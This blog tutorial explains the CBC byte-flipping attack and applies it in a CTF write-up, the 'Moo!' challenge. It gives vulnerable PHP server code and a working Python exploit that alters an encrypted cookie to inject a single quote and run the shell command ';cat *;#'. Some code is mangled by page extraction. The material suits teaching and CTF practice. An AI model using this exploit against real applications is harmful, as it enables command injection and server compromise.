CBC byte flipping attack—101 approach
As usual, there are some explanations about this attack out there (see references at the end), but some knowledge is required to understand it properly, so here I will describe, step by step, how to perform this attack.
What should you learn next?
Purpose of the attack
To change a byte in the plaintext by corrupting a byte in the ciphertext.
Why?
To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to admin, or any other consequence of changing the plaintext expected by an application.
First of all, let's start understanding how CBC (cipher-block chaining) works. A detailed explanation can be found here:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
But I will only explain what is needed to understand the attack.
Encryption process
Plaintext
The data to be encrypted.
IV: A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.
Key: Used by symmetric encryption algorithms like AES, Blowfish, DES, Triple DES, etc.
Ciphertext: The data encrypted.
An important point here is that CBC works on a fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each.
Since I hate mathematical formulas, below are mine:
Ciphertext-0 = Encrypt(Plaintext XOR IV)—Just for the first block.
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—For second and remaining blocks.
Note: As you can see, the ciphertext of the previous block is used to generate the next one.
Decryption process
Plaintext-0 = Decrypt(Ciphertext) XOR IV—Just for the first block.
Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—For second and remaining blocks.
Note: The Ciphertext-N-1 is used to generate the plaintext of the next block; this is where the byte flipping attack comes into play. If we change one byte of the Ciphertext-N-1 then, by XORing with the net decrypted block, we will get a different plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack:
Example: CBC blocks of 16 bytes
Let's say we have this serialized plaintext:
a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
Our target is to change the number 6 at "s:6" to number "7". The first thing we need to do is to split the plaintext into 16-byte chunks:
Block 1: a:2:{s:4:"name";
Block 2 s:6:"sdsdsd";s:8 <<<-----target data-blogger-escaped-div="" data-blogger-escaped-here="">
Block 3: :"greeting";s:20:
Block 4: "echo 'Hello sd
Block 5: sdsd!'";}
So our target character is located at block 2, which means that we need to change the ciphertext of block 1 to change the plaintext of the second block.
A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at the same offset of next plaintext. Our target is at offset 2:
[0] = s
[1] = :
[2] = 6
Therefore we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2, and finally we call the decryption function.
1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
2. $enc = @encrypt($v);
3. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
4. $b = @decrypt($enc);
After running this code, we are able to change number 6 to 7:
But, how did we change the byte to the value we wanted at line 3?
Based on the decryption process described above, we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6. Which is equal to:
C = A XOR B
So the only value we do not know is A (block cipher decryption); with XOR we can easily get that value by doing:
A = B XOR C
And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like this:
A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block.
Below is the PHP source code so that you can replicate it:
[php]
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}
define('MY_MAC_LEN', 40);
function encrypt($data) {
return aes($data, true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
return $data;
}
$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
echo "Plaintext before attack: $vn";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $bn";
[/php]
Try changing the character from "7" to "A" or something else to see how it works.
Exercise 2
Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago the CTF competition was hosted by the team Eindbazen and there was a Web 400 challenge called "Moo!" You can see all the details of this task at the end of the blog in References 2 and 3; here I am just going to describe the final steps of breaking CBC.
We were provided with the source code for analysis. Below is the chunk important for this exercise:
Basically, you will submit any text in the POST parameter "name" and the app will respond with a "Hello" message concatenating the text submitted at the end, but two things happen before the message is printed:
1. The POST "name" parameter is filtered out by the PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands) and then it is stored in the Array->greeting field to finally create a cookie encrypted with this value.
2. The content of Array->greeting field is executed via PHP passthru() function, which is used to execute system commands.
3. Finally, any time the page is accessed, if the cookie already exists, it will be decrypted and its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext, as explained in previous section.
So, I tried to inject the string below into the POST parameter "name":
name = 'X' + ';cat *;#a'
I added the char "X" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed, ;cat *;, and finally an "#", which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function; therefore our command gets executed successfully.
After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed the code below to inject a single quote:
pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
I am altering the cookie, since it has the whole ciphertext. Finally, I got this result:
First, we can see in yellow that our "X" was successfully changed to a single quote in the second block but, since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red) and, therefore, the app did not even try to execute our injection.
How to fix it?
Basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple 'z' before and after:
name = 'z'*17 + 'X' + ';cat *;#' + 'z' *16
After sending above string, voila!!!, unserialize() does not complain about the garbage received and our shell command is executed successfully!!!!
If you want to replicate this exercise, in the Appendix section there is the PHP code running on the server side and the Python script (a little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploit.
Finally, I want to thank the guys from the references mentioned below for writing those excellent blogs.
Sources
Enjoy it!
Appendix
PHP code
[php]
ini_set('display_errors',1);
error_reporting(E_ALL);
define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
define('MY_MAC_LEN', 40);
function hmac($data) {
return hash_hmac('sha1', data, MY_HMAC_KEY);
}
function encrypt($data) {
return aes($data . hmac($data), true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
$mac = substr($data, -MY_MAC_LEN);
$data = substr($data, 0, -MY_MAC_LEN);
return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
echo @decrypt(base64_decode($_COOKIE['settings']));
$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) { $settings = array( 'name' => $_POST['name'],
'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
#setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
passthru($settings['greeting']);
else {
echo "</pre>
<form action=""?"" method=""POST"">n";
echo "
What is your name?
n";
echo "<input type=""text"" name=""name"" />n";
echo "<input type=""submit"" name=""submit"" value=""Submit"" />n";
echo "</form>
<pre>
n";
}
?>
[/php]
Exploit
[php]
#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc
url = 'http://192.168.184.133/ebctf/mine.php'
def Test(x):
t = "echo 'Hello %s!'" % x
s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
for i in xrange(0,len(s),16):
print s[i:i+16]
print 'n'
def Pwn(s):
global url
s = urllib.quote_plus(enc(s))
req = requests.get(url, cookies = {'settings' : s}).content
# if req.find('works') != -1:
print req
# else:
# print '[-] FAIL'
def GetCookie(name):
global url
d = {
'name':name,
'submit':'Submit'
}
h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
if h.has_key('set-cookie'):
h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
#h = urllib.unquote_plus(h['set-cookie'][9:])
#print h
return h
else:
print '[-] ERROR'
sys.exit(0)
#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting"
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;}
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
What should you learn next?
#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)
[/php]